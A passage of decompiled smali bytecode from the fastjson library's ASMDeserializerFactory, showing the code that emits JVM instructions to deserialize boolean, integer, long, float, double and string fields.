                                                592const-string v13, "initStringFieldAsEmpty"
                                                594invoke-virtual {v9, v13}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                595move-result v13
                                                597invoke-interface {v7, v12, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                598const/16 v12, 0x99
                                                600invoke-interface {v7, v12, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                602invoke-direct {v8, v7, v9, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->_setFlag(Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;I)V
                                                604invoke-virtual {v9, v15}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                605move-result v12
                                                606const/16 v13, 0x19
                                                608invoke-interface {v7, v13, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                610sget-object v12, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                612const-string v13, "stringDefaultValue"
                                                613move-object/from16 v25, v14
                                                615const-string v14, "()Ljava/lang/String;"
                                                616move-object/from16 v26, v11
                                                617const/16 v11, 0xb6
                                                619invoke-interface {v7, v11, v12, v13, v14}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                620const/16 v11, 0xa7
                                                622invoke-interface {v7, v11, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                624invoke-interface {v7, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                625const/4 v6, 0x1
                                                627invoke-interface {v7, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                629invoke-interface {v7, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                630goto/16 :goto_37f
                                                631cond_373: move-object/from16 v26, v11
                                                632move-object/from16 v23, v12
                                                633move-object/from16 v24, v13
                                                634move-object/from16 v25, v14
                                                635const/4 v6, 0x1
                                                637invoke-interface {v7, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                638goto_37f: const/16 v5, 0xc0
                                                640invoke-static {v4}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                641move-result-object v4
                                                643invoke-interface {v7, v5, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitTypeInsn(ILjava/lang/String;)V
                                                644new-instance v4, Ljava/lang/StringBuilder;
                                                646invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                648iget-object v1, v1, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                650invoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                652invoke-virtual {v4, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                654invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                655move-result-object v1
                                                657invoke-virtual {v9, v1}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                658move-result v1
                                                659const/16 v3, 0x3a
                                                661invoke-interface {v7, v3, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                662goto/16 :goto_2da
                                                663goto_3a4: move-object/from16 v26, v11
                                                664move-object/from16 v23, v12
                                                665move-object/from16 v24, v13
                                                666move-object/from16 v25, v14
                                                667const/4 v4, 0x3
                                                669invoke-interface {v7, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                670new-instance v5, Ljava/lang/StringBuilder;
                                                672invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                                                674iget-object v1, v1, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                676invoke-virtual {v5, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                678invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                680invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                681move-result-object v1
                                                683invoke-virtual {v9, v1}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                684move-result v1
                                                685const/16 v3, 0x36
                                                687invoke-interface {v7, v3, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                688goto_3ca: add-int/lit8 v0, v0, 0x1
                                                689move-object/from16 v12, v23
                                                690move-object/from16 v13, v24
                                                691move-object/from16 v14, v25
                                                692move-object/from16 v11, v26
                                                693const/16 v4, 0x36
                                                694const/16 v5, 0xb6
                                                695const/16 v6, 0x19
                                                696goto/16 :goto_290
                                                697cond_3dc: move-object/from16 v26, v11
                                                698move-object/from16 v23, v12
                                                699move-object/from16 v24, v13
                                                700move-object/from16 v25, v14
                                                701const/4 v4, 0x3
                                                702const/4 v11, 0x0
                                                703goto_3e6: if-ge v11, v10, :cond_9a9
                                                705invoke-static/range {p2 .. p2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->access$200(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;)[Lcom/alibaba/fastjson/util/FieldInfo;
                                                706move-result-object v0
                                                707aget-object v5, v0, v11
                                                709iget-object v6, v5, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                711iget-object v0, v5, Lcom/alibaba/fastjson/util/FieldInfo;->fieldType:Ljava/lang/reflect/Type;
                                                712new-instance v1, Lcom/alibaba/fastjson/asm/Label;
                                                714invoke-direct {v1}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                716sget-object v12, Ljava/lang/Boolean;->TYPE:Ljava/lang/Class;
                                                718const-string v13, "[C"
                                                720const-string v14, "_asm_prefix__"
                                                721if-ne v6, v12, :cond_453
                                                723invoke-virtual {v9, v15}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                724move-result v0
                                                725const/16 v6, 0x19
                                                727invoke-interface {v7, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                728const/4 v0, 0x0
                                                730invoke-interface {v7, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                732invoke-static/range {p2 .. p2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->access$300(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;)Ljava/lang/String;
                                                733move-result-object v0
                                                734new-instance v6, Ljava/lang/StringBuilder;
                                                736invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                                                738iget-object v12, v5, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                740invoke-virtual {v6, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                742invoke-virtual {v6, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                744invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                745move-result-object v6
                                                746const/16 v12, 0xb4
                                                748invoke-interface {v7, v12, v0, v6, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitFieldInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                750sget-object v0, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                752const-string v6, "scanFieldBoolean"
                                                754const-string v12, "([C)Z"
                                                755const/16 v13, 0xb6
                                                757invoke-interface {v7, v13, v0, v6, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                758new-instance v0, Ljava/lang/StringBuilder;
                                                760invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                762iget-object v5, v5, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                764invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                766invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                768invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                769move-result-object v0
                                                771invoke-virtual {v9, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                772move-result v0
                                                773const/16 v5, 0x36
                                                775invoke-interface {v7, v5, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                776goto_44b: move/from16 v27, v10
                                                777const/16 v12, 0xb6
                                                778const/16 v13, 0x3a
                                                779goto/16 :goto_866
                                                780cond_453:
                                                781sget-object v12, Ljava/lang/Byte;->TYPE:Ljava/lang/Class;
                                                782if-ne v6, v12, :cond_4a4
                                                784invoke-virtual {v9, v15}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                785move-result v0
                                                786const/16 v6, 0x19
                                                788invoke-interface {v7, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                789const/4 v0, 0x0
                                                791invoke-interface {v7, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                793invoke-static/range {p2 .. p2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->access$300(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;)Ljava/lang/String;
                                                794move-result-object v0
                                                795new-instance v6, Ljava/lang/StringBuilder;
                                                797invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                                                799iget-object v12, v5, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                801invoke-virtual {v6, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                803invoke-virtual {v6, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                805invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                806move-result-object v6
                                                807const/16 v12, 0xb4
                                                809invoke-interface {v7, v12, v0, v6, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitFieldInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                811sget-object v0, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                813const-string v6, "scanFieldInt"
                                                815const-string v12, "([C)I"
                                                816const/16 v13, 0xb6
                                                818invoke-interface {v7, v13, v0, v6, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                819new-instance v0, Ljava/lang/StringBuilder;
                                                821invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                823iget-object v5, v5, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                825invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                827invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                829invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                830move-result-object v0
                                                832invoke-virtual {v9, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                833move-result v0
                                                834const/16 v5, 0x36
                                                836invoke-interface {v7, v5, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                837goto/16 :goto_44b
                                                838cond_4a4:
                                                839sget-object v12, Ljava/lang/Short;->TYPE:Ljava/lang/Class;
                                                840if-ne v6, v12, :cond_4f6
                                                842invoke-virtual {v9, v15}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                843move-result v0
                                                844const/16 v6, 0x19
                                                846invoke-interface {v7, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                847const/4 v0, 0x0
                                                849invoke-interface {v7, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                851invoke-static/range {p2 .. p2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->access$300(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;)Ljava/lang/String;
                                                852move-result-object v0
                                                853new-instance v6, Ljava/lang/StringBuilder;
                                                855invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                                                857iget-object v12, v5, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                859invoke-virtual {v6, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                861invoke-virtual {v6, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                863invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                864move-result-object v6
                                                865const/16 v12, 0xb4
                                                867invoke-interface {v7, v12, v0, v6, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitFieldInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                869sget-object v0, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                871const-string v6, "scanFieldInt"
                                                873const-string v12, "([C)I"
                                                874const/16 v13, 0xb6
                                                876invoke-interface {v7, v13, v0, v6, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                877new-instance v0, Ljava/lang/StringBuilder;
                                                879invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                881iget-object v5, v5, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                883invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                885invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                887invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                888move-result-object v0
                                                890invoke-virtual {v9, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                891move-result v0
                                                892const/16 v5, 0x36
                                                894invoke-interface {v7, v5, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                895goto/16 :goto_44b
                                                896cond_4f6:
                                                897sget-object v12, Ljava/lang/Integer;->TYPE:Ljava/lang/Class;
                                                898if-ne v6, v12, :cond_548
                                                900invoke-virtual {v9, v15}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                901move-result v0
                                                902const/16 v6, 0x19
                                                904invoke-interface {v7, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                905const/4 v0, 0x0
                                                907invoke-interface {v7, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                909invoke-static/range {p2 .. p2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->access$300(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;)Ljava/lang/String;
                                                910move-result-object v0
                                                911new-instance v6, Ljava/lang/StringBuilder;
                                                913invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                                                915iget-object v12, v5, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                917invoke-virtual {v6, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                919invoke-virtual {v6, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                921invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                922move-result-object v6
                                                923const/16 v12, 0xb4
                                                925invoke-interface {v7, v12, v0, v6, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitFieldInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                927sget-object v0, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                929const-string v6, "scanFieldInt"
                                                931const-string v12, "([C)I"
                                                932const/16 v13, 0xb6
                                                934invoke-interface {v7, v13, v0, v6, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                935new-instance v0, Ljava/lang/StringBuilder;
                                                937invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                939iget-object v5, v5, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                941invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                943invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                945invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                946move-result-object v0
                                                948invoke-virtual {v9, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                949move-result v0
                                                950const/16 v5, 0x36
                                                952invoke-interface {v7, v5, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                953goto/16 :goto_44b
                                                954cond_548:
                                                955sget-object v12, Ljava/lang/Long;->TYPE:Ljava/lang/Class;
                                                956if-ne v6, v12, :cond_59b
                                                958invoke-virtual {v9, v15}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                959move-result v0
                                                960const/16 v6, 0x19
                                                962invoke-interface {v7, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                963const/4 v0, 0x0
                                                965invoke-interface {v7, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                967invoke-static/range {p2 .. p2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->access$300(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;)Ljava/lang/String;
                                                968move-result-object v0
                                                969new-instance v6, Ljava/lang/StringBuilder;
                                                971invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                                                973iget-object v12, v5, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                975invoke-virtual {v6, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                977invoke-virtual {v6, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                979invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                980move-result-object v6
                                                981const/16 v12, 0xb4
                                                983invoke-interface {v7, v12, v0, v6, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitFieldInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                985sget-object v0, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                987const-string v6, "scanFieldLong"
                                                989const-string v12, "([C)J"
                                                990const/16 v13, 0xb6
                                                992invoke-interface {v7, v13, v0, v6, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                993const/16 v0, 0x37
                                                994new-instance v6, Ljava/lang/StringBuilder;
                                                996invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                                                998iget-object v5, v5, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                1000invoke-virtual {v6, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1002invoke-virtual {v6, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1004invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                1005move-result-object v5
                                                1006const/4 v6, 0x2
                                                1008invoke-virtual {v9, v5, v6}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;I)I
                                                1009move-result v5
                                                1011invoke-interface {v7, v0, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1012goto/16 :goto_44b
                                                1013cond_59b:
                                                1014sget-object v12, Ljava/lang/Float;->TYPE:Ljava/lang/Class;
                                                1015if-ne v6, v12, :cond_5ed
                                                1017invoke-virtual {v9, v15}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1018move-result v0
                                                1019const/16 v6, 0x19
                                                1021invoke-interface {v7, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1022const/4 v0, 0x0
                                                1024invoke-interface {v7, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1026invoke-static/range {p2 .. p2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->access$300(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;)Ljava/lang/String;
                                                1027move-result-object v0
                                                1028new-instance v6, Ljava/lang/StringBuilder;
                                                1030invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                                                1032iget-object v12, v5, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                1034invoke-virtual {v6, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1036invoke-virtual {v6, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1038invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                1039move-result-object v6
                                                1040const/16 v12, 0xb4
                                                1042invoke-interface {v7, v12, v0, v6, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitFieldInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1044sget-object v0, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                1046const-string v6, "scanFieldFloat"
                                                1048const-string v12, "([C)F"
                                                1049const/16 v13, 0xb6
                                                1051invoke-interface {v7, v13, v0, v6, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1052const/16 v0, 0x38
                                                1053new-instance v6, Ljava/lang/StringBuilder;
                                                1055invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                                                1057iget-object v5, v5, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                1059invoke-virtual {v6, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1061invoke-virtual {v6, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1063invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                1064move-result-object v5
                                                1066invoke-virtual {v9, v5}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1067move-result v5
                                                1069invoke-interface {v7, v0, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1070goto/16 :goto_44b
                                                1071cond_5ed:
                                                1072sget-object v12, Ljava/lang/Double;->TYPE:Ljava/lang/Class;
                                                1073if-ne v6, v12, :cond_640
                                                1075invoke-virtual {v9, v15}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1076move-result v0
                                                1077const/16 v6, 0x19
                                                1079invoke-interface {v7, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1080const/4 v0, 0x0
                                                1082invoke-interface {v7, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1084invoke-static/range {p2 .. p2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->access$300(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;)Ljava/lang/String;
                                                1085move-result-object v0
                                                1086new-instance v6, Ljava/lang/StringBuilder;
                                                1088invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                                                1090iget-object v12, v5, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                1092invoke-virtual {v6, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1094invoke-virtual {v6, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1096invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                1097move-result-object v6
                                                1098const/16 v12, 0xb4
                                                1100invoke-interface {v7, v12, v0, v6, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitFieldInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1102sget-object v0, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                1104const-string v6, "scanFieldDouble"
                                                1106const-string v12, "([C)D"
                                                1107const/16 v13, 0xb6
                                                1109invoke-interface {v7, v13, v0, v6, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1110const/16 v0, 0x39
                                                1111new-instance v6, Ljava/lang/StringBuilder;
                                                1113invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                                                1115iget-object v5, v5, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                1117invoke-virtual {v6, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1119invoke-virtual {v6, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1121invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                1122move-result-object v5
                                                1123const/4 v12, 0x2
                                                1125invoke-virtual {v9, v5, v12}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;I)I
                                                1126move-result v5
                                                1128invoke-interface {v7, v0, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1129goto/16 :goto_44b
                                                1130cond_640: const/4 v12, 0x2
                                                1131const-class v4, Ljava/lang/String;
                                                1132if-ne v6, v4, :cond_693
                                                1134invoke-virtual {v9, v15}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1135move-result v0
                                                1136const/16 v4, 0x19
                                                1138invoke-interface {v7, v4, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1139const/4 v0, 0x0
                                                1141invoke-interface {v7, v4, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1143invoke-static/range {p2 .. p2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->access$300(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;)Ljava/lang/String;
                                                1144move-result-object v0
                                                1145new-instance v4, Ljava/lang/StringBuilder;
                                                1147invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                1149iget-object v6, v5, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                1151invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1153invoke-virtual {v4, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1155invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                1156move-result-object v4
                                                1157const/16 v6, 0xb4
